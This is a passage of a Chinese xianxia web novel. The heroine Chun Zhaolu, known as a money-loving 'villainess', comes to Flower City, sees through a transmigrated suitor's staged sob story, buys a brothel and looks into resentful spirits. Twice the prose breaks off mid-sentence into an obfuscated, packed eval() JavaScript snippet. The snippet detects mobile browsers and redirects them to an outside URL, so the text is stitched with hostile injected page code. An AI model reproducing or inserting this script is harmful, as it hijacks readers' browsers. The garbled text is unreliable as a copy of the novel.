《仙门第一恶女》 2. 花城 守门老仆和小童的想法春朝露不曾在意,自然后续也无从得知。 彼时她正沿着老人交代的道路,一路瞅花一路逗猫,蹦蹦跳跳往花城去。 “老人家,那就是花城么?”她向路遇的牧羊人问道。 “是啊,”牧羊人指着不远处花红柳绿的秀丽都城:“那便是了。” “人间仙城,梦中花城。” 花城是以花闻名的一座城池,据说三四月桃花盛开时落英缤纷,整座城池都包裹在一层浅粉色的梦幻中,城中更奉养着一株千年巨桃,是花城中著名奇景,据说开花时的花瓣足有碗口大。 作为伽蓝佛国域内的一座凡城,花城中除了有万簇花外更有千座寺,据说赶上讲经日时终日梵音袅袅,金光普照,不是仙城更盛仙城。实际上花城能在百家仙门中有今日的知名度,不仅是因为花城城主与其夫人间的狗血八卦,更因为几十年前从这座凡城里出过一位天生佛骨的宴氏佛子,生下来就六根清净,断情绝爱,慈以济人,普度众生。 春朝露来的时候也算赶巧,没赶上初桃,但落红仍是一片靡靡,尽态极妍。站在城外小山上,便瞧见那被护城河水包围,白塔佛庙中点缀这残红深粉的梦幻城市。 春朝露是排在一个身上异香扑鼻的大和尚后面坐小舟进的城,水道开阔,能看见道路两旁仍因为城主新丧挂举着白幡。 她本想直接去查验城主和城主公子的尸体看有无邪物作祟留下的痕迹,但刚进城不久就得知新城主被这父兄俱亡的惨事吓晕过去,至今未曾转醒,因而城主府暂时封闭,在主事人醒来前,尸体恐怕不便查看。 春朝露只好先在城内四处逛逛,碰碰运气。 道旁商铺林立,虽然偶有空置关闭的小店,但仍能称得上热闹。见路边小贩有卖梅花糕的,春朝露就随手停下买了一个。 年轻的小贩说因为她是今天第一个客人,所以买一赠一。 春朝露拿了热乎乎的糕糕刚想吃,却从不远处聚集打牌的人口中听到自己的名字。 “你们可曾听过恶女春朝露的名号?” “咦,不曾听过,是新晋的妖女嘛?可妖族不就早消亡的差不多了么。” “若是妖女倒还罢了,人家是根正苗红的仙门修士!可正是这样,其狡猾黑心、趋利忘义的习性才更让人不齿,和师兄寒山彻之间的往事就不必再提了——” “今日要说的是春朝露的身世!此人无亲无故、无父无母是因为早年间有人杀害了她全家,可咱们这位大难不死、侥幸逃生的春大小姐啊,明明后来不远万里、千辛万苦的抓住了对方,面对仇家用全副家财赔礼的要求,她竟然同意了!任凭对方用钱买命,堂堂灭门大仇啊,怎能仅仅取走了对方的财产便作罢?” 春朝露站在树下,听那黄牙的板寸喷着唾沫细数自己因迷恋铜臭犯下的种种恶事。 随着那跌宕起伏的讲述,曾经鲜血淋漓的过往好像也重新铺展在眼前。 突然耳旁一个温和声音安慰道:“你不必在意这些人的话,他们整日里聚在一起就是为了胡说八道。” 声音清净、柔和,像穿过弄堂的风,让人不禁想要抬头去看。 然而春朝露头都没抬的嗯了一下。 本以为少女一定会循声望来,都找好光线找好视线甚至连风和花瓣吹来的角度都精心计算过的飘逸摊主愣了下。 【宿主,攻略目标视线尚未看向宿主,还请宿主继续努力】 “闭嘴!我是瞎子嘛我自己看不到的?” 卖梅花糕的容貌不俗的“小贩”呲牙咧嘴在心里骂道,然而就在他表情都要绷不住的那一刻,原本低头只能看清乌鸦鸦发顶的少女突然抬起了头。 小贩慌忙抓回飞走的嘴角揪正翻到一半的白眼,露出一个清风明月般的笑。 其实春朝露抬眼倒不是因为别的,她不至于因为在市井乡民那受了点暴击就一定要寻求下安慰,只是她刚放嘴下去咬糕,发现这糕真的是顶顶的仙品,入口即化,甚至比她在仙门最有名的百味斋里专门找人定做的都好吃。 出于对这糕的赞美,她多看了一眼卖糕的人。 然后发现—— 那可真是无比风雅一张脸啊! 顶顶飒爽,有着和声线如出一辙的温和干净。整个人看上去如初升之阳,拂晓之风,虽然脸上带些青年的羞涩,但不能阻挡其英俊脱俗,像风中飘摇的菩提花。 吃着糕的春朝露冷漠地想,怎么,如今这卷生卷死的世道里连卖糕小贩都有如此高的从业标准了? 她笑着夸道:“这糕真不错。” 小贩也笑着回道:“喜欢您再来。” 【宿主宿主!攻略目标马上要离开了】 【嘘,安静!这时候扑上去只会被怀疑身份和目的】,小贩同样在心里冷冷对系统说道:【你只需要接着往下看就行了。】 变故就是在这时突然发生的—— 一个孔武有力的大汉擒着一个单薄瘦弱的妇人从路口奔来,妇人一见卖糕青年便凄喊道:“阿、阿福,你快跑啊,别回头!不要管为娘!啊——” 大汉粗暴的扯住了秀美妇人的头发:“欠债还钱天经地义,你家老头卖了你,你就是我们纤手楼的!你儿子要是拿不出钱来,今晚你就登楼吧,明天我家掌柜就把你捧成花魁!” 原本清朗羞涩青年的脸瞬间变得煞白,像干净的花被人一拳抛掷在泥水里。在听到某个名字时愤恨的神色在他俊秀脱俗的脸上一闪而过,甚至扶着竹车的手都在微微颤抖。 任谁看了都要赞叹好一朵可怜又坚韧的白花。 不过他的声音还是很快镇定了下来,紧接着翻找衣兜:“别、别碰我娘!” 大汉一把推翻了篦子上的梅花糕,看着散落一地的铜板,揪着青年的领子嘲讽:“还以为你有多少钱呢,原来也是个穷鬼。管好你自己吧,下次张书生喝酒再不给钱,卖的就是你了!” “也别怨别人,要怨就怨你那个曾经是县官的破落爹吧哈哈哈,自己堕落就罢了还连带着出卖全家!大家都来看啊,这可是曾经县令大人的夫人和公子啊——” 青年雪白的脸上露出几分不堪受辱的神色。 春朝露的腿被突然间动作矫若惊龙的青年一个虎扑一把抱住,春朝露垂眼看见迤逦一地的黑发,听他嘴上说:“仙子,求你救救我娘!如果您能救我娘,阿福以后愿意为仙子做任何事。” 可惜春朝露只能介入死人的系统,不然她此刻能听见青年耳边【叮】一声轻响。 【确认目标视线定格中,请宿主再接再厉攻略目标!】 【宿主,你确定攻略人物会救你?她的设定可是个反派呢。】 【她会】,青年自信的勾起唇。 系统还是不太放心:【……都说女人是被感性支配的动物,宿主不妨挂上几滴泪珠试试呢?】 “那么好哭的话,你怎么不来哭试试啊!” 青年骂了一个脏字,随即粗暴打断系统:【怎么攻略我心中有数,我可是屠榜前十的攻略者!是管理局异界攻略者里赫赫有名的大佬,你以为我和以前那些默默无名又蠢不可及的新手攻略者一个样么?】 【我的攻略计划,是十分完美的。】 青年垂眸,看着面前一角垂地的绿罗裙。 “眼前这个就是RK637世界知名的仙门第二反派恶贼么春朝露吧?怪不得现实里也有那么多人喜欢。本人可是真的比文字描写的可爱好看多了。不过反派终归是个美强惨,真是人有多美,命有多惨。” 他心里冰冷地翻滚着信息,不知是在说给系统听还是自己听。 “刚才讲给春朝露听的是仙门内关于她悲惨童年流传最广的传说……但通俗版却往往不是真相版。” “真相是春朝露出身高贵,幼年时也的确家道没落。” “但背叛了家人的不是别人,正是她爹。” “春朝露的父亲无法忍受王朝公子的贫苦生活,所以杀害了全家用灵蕴换取富贵名利。成年后的春朝露虽找到了渣爹,却因为血脉禁咒无法取走他的性命,于是只能拿走这些年他出卖家人换取来的钱财,让她爹生不如死。” “童年的不幸是春朝露对钱有执念的根源,也导致了她格外痛恨为了钱财出卖家人的人。” 系统听到这里瞬间明白宿主今天的安排。 【所以宿主才安排自己成为被父亲出卖的落魄青年】 “不错!” 现在名为阿福的青年骄傲的昂起头:“一切都是在对症下药。先让她吃到儿时最喜欢的梅花糕唤醒她的记忆,再让她面前重新出现这样一个堕落、嗜酒、为钱出卖家人的父亲,最后让她看见这样一个悲惨、却又拼命想保护家人的‘我’……” “整个仙门都背叛她,唾骂她、不理解她,她的面前却出现了这么一个跟她十分‘相似’的我。” 都攻心到这种程度了,反派怎么可能不被他触动! 而这一瞬的心动往往就是一段感情最佳的开始! 说什么超难攻略的反派,呵,这世上没有难以攻略的反派,只有用不对计策的人! 阿福青年在心底露出一个得意到有些狰狞的笑:“什么狂刀门掌门、彩云阁阁主、西海剑尊都傻死了,谁会爱上一个突然出现又动不动试图霸总强制爱的脑残男人啊?” “RK637可是特殊规则世界,这样的世界是不建议高位攻略的,因为无法取得原住民的身份,一但位置太高引来查验,是会面临暴露风险的。” “这些攻略者的套路真是死板僵硬就会照抄,追求女性目标就会一味追求快速堆积地位,寄希望于用权势推进主线。” “而这个世界的春大小姐本身就够有钱的,心性又必定足够警惕,这样的攻略角色怎么会轻易买他们的账呢?所以真正能拿下她的方法、吸引这样女人的方法只有一种!就是——” “共鸣!” 是理解!是包容!是感性引起的共同呼唤! 阿福青年得意洋洋的想,一个浑身伤口饱受痛苦的你,怎么能拒绝一个经历相同充满理解的却依旧向阳花一样攀援的我呢? 阿福本已经准备好接过仙子那向他伸来的洁白秀致的手了,没想到那雪白的手径直越过他,用干净的到几乎不染尘埃的手,从泥沙地中,捡回了两个铜板。 甚至还当着他的面,轻轻吹了下铜板上的灰。 阿福:? 阿福细细观察春朝露脸上的表情,别说同情、共鸣、触动了,他甚至怀疑她有没有看见刚才那段为她精心准备的“剧情”?不至于还在回味梅花糕的余韵吧! 这感觉就像游戏中明明憋了个大的,结果费劲全力的扑杀并没有击破对方的防御,只在她头顶轻轻打出了一个-1。 春朝露倒是一脸坦然的解释道:“突然想起刚才给多了,但你现在已经没有梅花糕给我了,所以我得把钱拿回来。” 她无情地扯回青年救命稻草一样揪在手里的干净裙摆,看他佛花一样跌坐,再干净的脸庞碾落泥地里时也是一样的狼狈。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665630|156763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 柔亮的青丝黑纱一般顺着白皙的脖颈垂落到胸前,春朝露托着腮蹲下身,凑近审视那干涸的嘴唇和深邃的眉眼: “你明明刚才就知道他们在议论的春朝露是我了,为什么现在却又一副随机向陌生人求救的样子,只喊我仙子呢?” 青年的眼神微微放大,却很快找回了平静,摸着脸颊小心解释道:“粗鄙乡民,怎敢直呼仙子的姓氏,仙子在我心里,便只是仙子。” 敬畏么? 这倒也说得通。 只是青年想象中的“触动”并没有生效,后续自然不可能和他想象中一般顺利。 心知该就此放弃了,反正春朝露还会留在花城机会有的是,可不知为何突然心底忽然又生出一股子不甘。 眼见春朝露要走,青年咬咬唇再度拦住了她的去路,再抬起头时通红的眼眶中泪水将落不落,纷乱中散开的长发坠地,眼神镜面一样破碎:“若仙、仙子同意,阿福愿为仙子做一辈子梅花糕。” 这幅样子倒是直击心灵般的可怜巴巴了,就差在头顶插根草公然开卖了。 他素来知道自己生了副好皮相,什么霸总强制爱,什么共鸣为上的交流计,关键时刻都不如卖脸! 而且青年发现了,春朝露也许是个没有心的人,那么悲惨的过往都没法撼动她半分,但她的确爱吃糕。 ……如果不吃颜的话,吃糕呢? 那边春朝露闻言皱起小脸想了想。 半响坚定的摇了摇头。 春朝露是爱吃糕,但仙品糕与极品糕之间也不过只有那么一点点的差距而已:“我买个糕只要两个铜钱,而买下你娘吧……远远不只两个铜钱。” 那她为什么不去用正常价格买仙门另一家的糕呢?那家还近,还支持送货上门,后续还不用为了吃糕再养个人? 养人,要花钱的。 钱,该花的是要花的,不该花的,还是不能花的,这样才有好多好多的钱钱。 阿福青年:…… 阿福青年都快被这抠门女人气笑了! 他原本只是冲攻略积分来的,现在倒突然萌生出真的势必要拿下她不可的念头了。 【宿主】,系统在一旁提醒道:【我们攻略反派的目的是挽救反派堕落的心灵,以此达到拯救世界的目的。】 “拯救世界也要先能开始攻略吧?你看那姓春的大恶女给你开始的机会了么?” 青年知道戏唱到这里观众还不叫座的话那已然是无曲可续了,但该演的还是得接着往下演,于是转头对着大汉一狠心道:“不要带走阿福的娘,如果非要拿人抵债,就带走阿福吧!阿福……无怨无悔。” 系统听出些与众不同来:【宿主这么强调“阿福”这个名字,难道是因为这个名字也来和反派的过去有关么?】 青年面无表情说道:“那是反派小时候家里养的狗的名字。” 系统:…… 【宿主精神可嘉,请再接再厉。】 青年不再寄希望于春朝露有人性了,只能寄希望于春朝露有狗性,但春朝露有没有被死去的记忆唤醒犹未可知,他遭遇的精神伤害的确是满点了,本来发现这个巧合是没打算用的,万万没想到会被一个小小反派恶女逼到这种程度。 无形中推拉暗地里互相试探的两人彼此都面无表情,倒是周围人闻言议论不停,对着俊秀悲惨的青年目露同情怜悯。 正赶这时,像意外也要来捧捧青年的场一样,如同是被围观群众吸引一样,不远处不知从哪冒出来的一团巨大黑障撞翻桔子摊,直冲人群奔来。 那黑障形状犹如断腿的蜘蛛,雾障中心翻起的眼球一样,有团青绿色宛如跳动血管的经络缓缓蠕动。 黑障合该不是活物,却像活物一般闻闻嗅嗅,像在寻找目光,其雾影飘过的地方,落下血丝淋漓,明明尚是青天白日,仍一见就让人觉得不安。 围观人群像早见过此等异端一样,见状纷纷四散奔逃:“快!快跑啊——” “食人妖雾来了——” 春朝露见了这不详黑障面色一肃,目光略过地上明显愣住的青年,转头向和蓝衣妇人一起躲在馄饨店里的讨债大汉问道:“你们明显不是第一次见这东西了,怎么这东西在花城很常见么?” 大汉结结巴巴回道:“以前不常见,最近几个月倒是时不时出现。嘘,别说话了,每次这东西出现都要吃掉好几个人。” 春朝露皱眉:“都出现几个月了?难道没人管么?” 花城不是有破魔驿么?破魔驿由各仙门弟子轮流驻扎,解决人死后化祟这种事情可能比较困难,但清理街道上出现的这种低等邪魔应该是轻而易举才对。 满头大汗的大汉已经不愿再说话了,只是一味摇头。 虽然不知道这突然出现的黑障是什么,但眼见那一团黑障撞来,阿福青年还是寻到机会趁机一把扑开了一旁的春朝露,借机上演了一出英雄救美。 春朝露顺力滚开后,反手掀开袖口露出一串青绿色的兽首八角铃。 随着八角铃相撞,一道无形声浪散开,直冲人群而去的黑障随之消失不见。 轻而易举消灭了白日里出现的邪魔,春朝露却并没有露出轻松的神色,因为她知道这黑障不是什么食人妖雾,而是名为“怨魉”,是死不合目的横死之人的怨气聚集在一起黏连形成的,按理只会出现在怨气积重的死案频发之地。 但花城已经到了如此严重的程度了么? 不应该就是个儿子杀爹的家庭伦理悲剧么? 3. 阿福 春朝露沉吟不语,乌压压睫毛翕垂,像收敛的鸦羽。 春朝露没在看什么,只是在看地,甚至只是在看地面上迷失方向一般原地打转的蚂蚁群。 但在他人看来,春朝露此时垂首的姿态分明是正在看跌坐在地的,那个看上去她有足够能力救助,却又不愿出手的青年。 青年狼狈姿态甚至远比刚才更甚了,也许是情急之下的扑救时不小心剐到了哪里的缘故,单薄的檀色衣衫从胸口位置被撕开了一个大洞,虽然没有流血,但丝丝缕缕的烂衣以无法完全遮盖平坦的肌理,原本白净的肌肤上也多出了两三道红痕。 春朝露抬眼刚想换个地方思索就看见了眼前的青年,许是心情糟糕的时候就要做点快乐的事, 雪白冰冷的小手摩挲着青年下巴上不知何时摩擦出来的正渗血的红痕,她沾着青年的血,蜿蜒的红痕就顺着她的手一路蔓延至眼尾。 【宿主你没事吧?】 阿福青年摇了摇头,扯紧胸口破洞的衣服。他知道这是个低烈度妖邪对抗的世界,早在进入之前就做好了心理准备,只是没想到第一次正面相撞,肉眼看去才发觉这些东西远比想象中骇人。 这种伤害平民性命的妖魔肆意横行的世界,也可以被归类为低对抗烈度么?此时那骇人断腿蜘蛛一样的黑障已经没了,原地只淋漓几滩沥青一样恶臭的黏液。 【但因祸得福,凭借这次意外,宿主也许终于可以在反派心里留下些许印象了。】 “……些许印象么?” 青年抬头看向刚才那一击破邪,此时正垂头擦手的少女。 看热闹的群众早散了,四处都是打翻的竹筐,推倒的摊子,摔烂的碗,踩烂的桔子黏了满地,和最开始被打翻的梅花糕倒成了好一对出身未捷的难兄难弟。 苦命摊贩“母子”身旁站起了讨债大汉。 大汉早就该溜的,但因为花楼经营不善收了小贩钱本色表演讨债打手的大汉拿了人钱财得替人做事,考虑到青年刚刚救了这姑娘的命,大汉抱着最后一波推波助澜的心揪着青年来到了春朝露面前。 这城里恶障弥散,城里人都过着战战兢兢的生活。而刚才这小姑娘一出手便知是有本事的,手上的青年明显是起了攀附的心思,若真能攀上这年轻仙子离开花城,也算是他个人的福分了。 故作凶狠把青年扔在她身前:“你现在想救他也没用了,他已经自愿代替他娘卖给我们楼了!” 委顿在地的青年没有挟恩图报的意思,他长发披散,抿唇不语,然后眼角余光看见春朝露伸出手,将手递给了他……身后的大汉。 仿佛没看见大汉凝固住的眼神一样,牵着大汉的衣袖无比自然引他转了一圈。 大汉自己看不到,但春朝露却发现他背面有无数黑色手印,密密麻麻,不像人印的,倒像是不知在哪碰见过鬼手留下的。 在青年把自己的眼睛瞪脱框前,春朝露又让阿福青年和阿福的娘转了圈。 大汉刚要喝问春朝露这到底是在干啥,就听见她轻声问道:“你刚才说你哪个楼的?……纤手楼?纤手?千手?” 大汉点点头。 春朝露想了一会儿,又问道:“他刚才说什么?要替娘卖自己?” 大汉再点头。 绿罗裙少女点点头,轻飘飘道:“嗯,那卖吧。” 大汉:? 阿福少年:…… 这怎么和想象中一点不一样! 简直撞邪了一样,这个攻略对象真的是可以攻略么?系统数据的检测真的没毛病么!青年还没来得及和系统拉扯,就见原本在他身后的灵珠绣鞋微微一动,越过他径直往那大汉走去。 然后他听见春朝露问:“你们那个……纤手楼卖么?” “买……楼?” “对啊”春朝露轻飘飘道:“就是整座楼卖么?换个老板那种?” 她掏出荷包:“开个价吧,我想要买你们整座楼。” 大汉震惊了:现在金主老爷都这么豪横了?不流行买人流行直接买楼了? 阿福青年也震惊:知道反派有钱原来你这么有钱么!出手就是一座楼?……啊,不对!那你那么有钱刚才还对我那么抠! 但他还没忘记自己的攻略者的身份和攻略的目的,斟酌着酝酿好语气,以退为进道:“您不必因为救命之恩就……” “哪有救命之恩?”远处的春朝露转过身。 “我本来站的好好要除魔,结果你那一下给我撞得差点脱臼。”他不说还好,一说春朝露就觉得自己腰疼。 她上下打量着青年,也许因为这马上存在的买卖关系,语气上也少了许多客气,略显刻薄的评价:“寻常的脸,卖弄的心,自大愚蠢的脑袋,偏偏爱自己为是的行动力。” “若强说有什么可取的地方,那便是名字还不错吧。” 青年:…… 所以漂亮的脸、温柔的性格、美味的糕在你眼里都不如一个狗狗的名字好用嘛! 系统的机械音也紧跟着在耳边响起:【其实取得攻略人物好感不一定非是爱情,经数据考察,人与宠物间同样能建立起亲情一般的感情。目前反派对狗挺好的,所以……宿主是否考虑成为反派的狗呢?】 “滚!”阿福青年在心底大喊:“老子要做她的男人!” 系统考察了一下数据评价道:【勇气可嘉,但有种从未见过死亡的清澈】 阿福已经顾不上系统在说什么了,因为那刚刚为他一掷千金的少女已经走到了他的跟前。 青年表情呲牙咧嘴了一下,却又很快变回了平静,以一种无愧他资深攻略者身份的语气从容应答道:“虽然不知道您为什么改变主意,我、我无以为报,希望以后能一直也能服侍您,报答您的恩情。” 春朝露奇怪的看他一眼:“你本来就是我的,你娘卖给花楼也就是卖给我,那你救你娘可不是得一换一?” “我是什么无脑善人么,要做亏本生意。” 阿福青年:……差点忘记眼前的是个绝不吃亏的财迷了! 春朝露用挂在腰间的冰冷佩玉挑起青年的下巴,玩笑一般说道:“我见你好像有种特别想要跟着我的心呢。” “虽然不知道为什么,但你想跟,你就跟呗。” 青年不知为何心里咯噔一下,觉得春朝露像是在试探什么。 【系统,检测一下反派的可攻略程度,我觉得她生疑了】 虽然他不觉得自己哪里的言行有不符合常理的地方,但春朝露这个攻略目标真的从最开始接触起给他的感觉就很不一样。 【系统检测中……攻略程度确认:仍在开放中……是否开启反派疑心指数探查?是……数据确认失败……无法进行反派情绪进行探查】 青年皱起眉:【什么叫无法进行反派情绪进行探查?】 那不是连他们什么时候穿帮了都不知道?虽然知道RK637一直是个比较特殊的世界,没想到竟会这么特殊,像是连系统的功能都受到了某种影响一样。 不明所以的系统也在尴尬解释:【可能是更新时和主电脑的数据传输出了什么问题,考虑到风险确实存在,宿主要主动脱出世界么?】 脱出么?放弃这次的攻略,从头再开? 俊秀青年咬咬唇,看已经跑到远处的女孩正菜场买葱一般和大汉就花楼出售问题讨价还价,不知怎的嘴上就拒绝道:【不,不退出,我选择继续。】 系统也宽慰道:【没事宿主,穿过那么世界也不是没遇见过特别难搞的人物,但哪次有人真能勘破系统和攻略者存在的真相了?再说这就是低魔玄幻世界而已,原住民怀疑的上限顶多也就是觉得宿主怪力乱神而已。】 阿福青年想想觉得系统说得有道理,他实在不甘心就这么退出,现在不管怎样,好歹有了可以留在恶女身边的身份不是? 好的开始就是成功的一半不是! 他不信他天天晃荡在恶女眼前,滴水穿石都没有作用! 也许相遇不是爱,但陪伴终是情?恶女吃的是长情那挂的呢? 他就不信这世上真有他秦少爷拿不下的女人! 听见宿主雄心壮志的系统在脑海里给他啪啪鼓掌。 于是重新燃起雄心壮志的阿福青年告别“母亲”,踏上了和春朝露一起的花城之旅。 眼见一身温暖木香色的青年朝自己走来,春朝露脸上笑意更深。被那样一双黑白分明,笑意吟吟的漂亮眼睛看着,便是无情也觉出三分深情,青年庆幸自己情感经历丰富又穿行过无数世界,不会被这渣女深情般的视线所欺骗。 但饶是如此,他嘴上仍不住玩笑道:“你既然已经买下我了,是要对我负责的。” “当然,”春朝露轻轻点下头,也许是真的因为买卖关系让两人的距离有所拉近,她竟还很俏皮的反问道:“你知道这世上最浪漫的事是什么吗?” 青年没想过没想过反派还会玩浪漫,这幅小女儿的娇态倒和他以前的女朋友们没什么区别了。于是他也带了几分起兴的反问道:“是什么?” 春朝露伸出一根干净洁白的手指:“是终有一天,我会带你去‘看海’的。” 看海么? 阿福青年不禁失笑,果然即使是知名的反派恶女,也改不了有和小女孩一样的爱好。他在现实世界里和很多任女友都去看过海,对那蔚蓝一片的深洋并没有什么特殊向往,但听春朝露这样郑重的言说,便以为海对她有什么特殊的意义,于是想也不想的一口答应下来。 “好,有朝一日,我一定会和你一起去看海的。” 许是这段交谈让原本感觉陌生的两人间的距离近了些,阿福看了眼前面笑嘻嘻带路仿佛天降横财一般的花楼大汉,忍不住轻声问道:“你还真买那座楼啊?” 他平素为人有个规则,就是从来不问女人花钱上的事,前女友拿他的卡买岛,他都能当没看见。前女友花他的钱他都能不问,更别说只是他攻略对象花得还是自己钱的春朝露了。 只是吧……春朝露买的这东西感觉实在不是很合适。 一个小姑娘,买个花楼? 春朝露嗯了一声。 花城的事比她想象中复杂,短时间解决不了的话她需要地方留宿。 “那……不然去租个旅店呢?” 他还是不太适应春朝露这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665631|156763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从吃糕小仙女到烟花之地老板的无缝切换,心想早知道就不为了显得他特别惨说他欠花楼钱了,他可以说自己欠宣纸店老板的钱啊! “我不住别人的地方。” 阿福刚想吐槽她那你还能走到哪买到哪啊,看着春朝露骄傲抬起的小下巴,又默默把这句没见识的话收了回去。 阿福还是想走温馨攻略路线的,通过刚才和春朝露搭话觉得恶女也不过只是个小姑娘而已。他觉得春朝露是那种从没体味过爱情美好,所以对这种会失控的感情有种天然的否定态度,考虑【攻略者】的目的都是劝道攻略人物积极向上、充满感情,于是他谆谆善诱道: “你说一个小女孩,年纪轻轻什么都有了,就是没有感情,这样难道不会觉得寂寞么?” 春朝露瞥了他一眼:“那总比年纪轻轻除了感情,什么都没有强吧。” 阿福噎了一下又反驳道:“真是天真,这样你老了会后悔的。” “我不老也会后悔的。” 阿福作为顶级攻略者,面对再油盐不进的反派也都是要垂死挣扎一下的,于是又想起自己同样被家人背叛的凄苦人设,于是站在一个理解者的角度上说: “我看到现在的你,就像看到过去的自己,不知怎么的就觉得特别有共鸣,就好像总有很多话想对你说似的……” “你还是别有共鸣了,”春朝露回过头,表情像是带着点怜悯地说道:“你在我这个年纪的时候,绝对没有我有钱。” 阿福青年:…… 你怎么知道我没你有钱?哦,我现在是个穷家小贩。 炸了吧!世界! 为什么他要来挑战春朝露给自己的人生上难度啊啊啊,难道他是什么很贱的人么啊啊啊,他可是顶级富豪家的继承者大少爷啊啊啊,居然有一天会被攻略人物用钱炫富啊啊啊啊! 这世上怎么有春朝露这么讨人厌的小姑娘! 他为什么非手贱给自己做这种贫家小贩的人设啊啊啊!他就应该把自己冲成震惊世界有权有势的一方豪强啊啊啊!这样虽然拿不下反派但最起码爽啊!他要拿钱砸死春朝露这个一心只爱钱的坏女人啊啊啊啊! 两人原本在阿福心里稍有拉近的距离又咻一声坐着火箭火速拉远,他知道自己的话听上去教育味比较重,但以前那些花他钱的前女友明明很爱听他讲话都说他讲的特别深邃特别有道理啊? 在阿福青年陷入对自我演讲能力的深刻怀疑时,春朝露已经走到了引路的大汉身旁,面对这天降的财主,大汉自然热情招待。 白墙乌瓦粉花,见春朝露被巷子里笙弦拨动的铮铮之音吸引,他不由停下脚步问道: “您也会乐器么?” 春朝露:“我并不会,只是认识的一个人会。” 她转头对着大汉叹道:“早在来之前就听说过花城是个风雅之际的地方,今日一看,果然名不虚传。” 城的建筑多以精巧的木质多层小楼为主,有的小楼上还挂着漂亮的水墨使女图,佳人手臂如柔荑,纤手似削葱,单薄的绢画风中轻舞,更显得画上佳人的线条柔美惹人怜爱。 琴声阵阵,一阵风来,拂落的桃瓣坠进墨盘里。 满城烟粉,清溪环城,雅乐不绝,衬着白顶的佛塔,真正是个吟风弄月的佳处,如果不是城中邪祟作乱,带着花糕躺在哪个小筑上看一天落花,想来也该是极雅致的。 大汉露出几分恍然神色:“您是喜欢花城的美景才决定买下我们楼的么?” “买或不买,还要看看才能决定。” “这是自然,您请,管事已经在等了。” 春朝露看着大汉背上随着走路姿势晃动的黑手印,眼前他越往目的地走手印颜色越深,不禁沉吟道:“不过大概率是会买的。” 花城不像是简简单单的个别问题,或者只单独冲某个家庭而来的阴谋,也许城主一家也只是被波及了呢?怨魉都白日横行了,那死个把城主也很正常的吧。 所以春朝露需要寻找些辐射面更广,能滋生更深怨愤的东西。城主死于手,城里又有个叫千手的楼,就春朝露所知的妖魔鬼怪的相关知识而言,这是进城以来最接近线索的一条线的了。 春朝露的确是为了新城主开出的赏金来的,但来都来了,解决问题要彻底,黑心钱不能赚。 阿福攻略者还不知道事情那么凑巧,他随手一抓就抓到了原书中一笔略过的花城线的相关人物,他还在懊恼该引导反派做个好人,结果春朝露在他诱导下离万恶老鸨的道路越来越近。 他现在想开口主动找春朝露搭话,又有些拉不开架子。 只能眼睁睁走在后面看绿群摇曳的春朝露和一旁的黑皮肌肉壮汉走在前面相谈甚欢,一副已经老鸨上位准备时的样子。 【宿主】系统弱弱开口:【比起担心反派你现在不是应该更担心自己么】 【你有没有想过如果反派算老鸨你算什么呢?】 堕落系无情爱财老板×痴情招牌小倌嘛! 系统长叹一口气:【如果宿主想走这条攻略线也不是不可以的,谁说对摇钱树的占有欲不也是一种爱呢?】 阿福青年:…… 4. 楼 【你夸张了】,阿福青年艰难的开口反驳:【反派还没有坠落到那一步呢】 【毕竟花城线放进整本书里只能算故事开头而已,反派恶女这时候在众人心里还只是个爱好庸俗、脾气差劲、嘴巴恶毒甚至也许还有点背信弃义嫌疑的……小仙女呢】 春朝露名声是不太好但远没到人人喊打的地步,之前阿福青年是为了刻意营造整个仙门都与她为敌的形象以达到击破春朝露心防的目的,才故意专门找人一口一个恶女把传闻讲给她听得。 但其实他最初进入世界时就是从仙门进入的花城,发现仙门百家修士评价春朝露要么就是好好好,要不就什么也不说,除了喜欢钱这个毛病犯贪俗外,春朝露真是半点恶字不沾边。 甚至是个用仙门第二反派恶贼称呼她都会忍不住反省觉得自己是不是有点过分了的寻常少女? 虽然小说里春朝露的人设是知名反派恶女,但那也只是未来,不是现在,没人是从婴儿时起就要与世界为敌的。 与其说眼前这个还爱蹦蹦跳跳的春朝露真能做出什么丧心病狂的凶恶事,他更相信就是女孩子买买买的毛病又犯了。 女生嘛,有时候就是莫名其妙上头,上头时就会特别想要一些东西,然后因为想要就买了。 虽无用,但要买。 阿福青年不理解,但偶尔有时候觉得这样的女生也很可爱,所以能接受。 他定定瞧了一会儿眼前那个绿罗裙青丝带俏丽的像一株春柳似的身影,快走几步跟了上去。 “你这是在干什么呢?” 阿福瞧见她手上拿着一个荷叶色的暗纹香囊,香囊里放着白滚滚珍珠米一样的东西,她一边走一边丢,米粒未落地就坠成细细一道绿色碧泉,开在她脚边就是一朵小花。也许是因为这一幕远远望去实在赏心悦目,所以一路走来也没人提出过什么疑问,路过一间凉茶铺时老板还夸她风雅,送了春朝露一小碟包在竹叶船里的桃花酥。 春朝露余光瞥了他一眼,虽然并没有说话,但阿福还是明白了这一眼里表达的意思,她是想说即使告诉你了,你能搞懂么? 阿福咬了咬牙,看见她一手香囊,一手桃花酥,两手都被占了反而什么都干不了,于是主动的温柔接过了酥:“我帮你拿着。” 眼下最关键的还是要搞好两人的关系,他之前有些冒进了,既然春朝露有共鸣小可怜线不吃、见色起义线不吃、成熟教导线不吃,那他再试试温柔暖男线呢? 春朝露总不可能是个无缝的蛋吧! “你拿过了,所以我不要了,你自己吃了吧。” 春朝露看了一眼那被好心接过的酥,头也不回的转头走了。 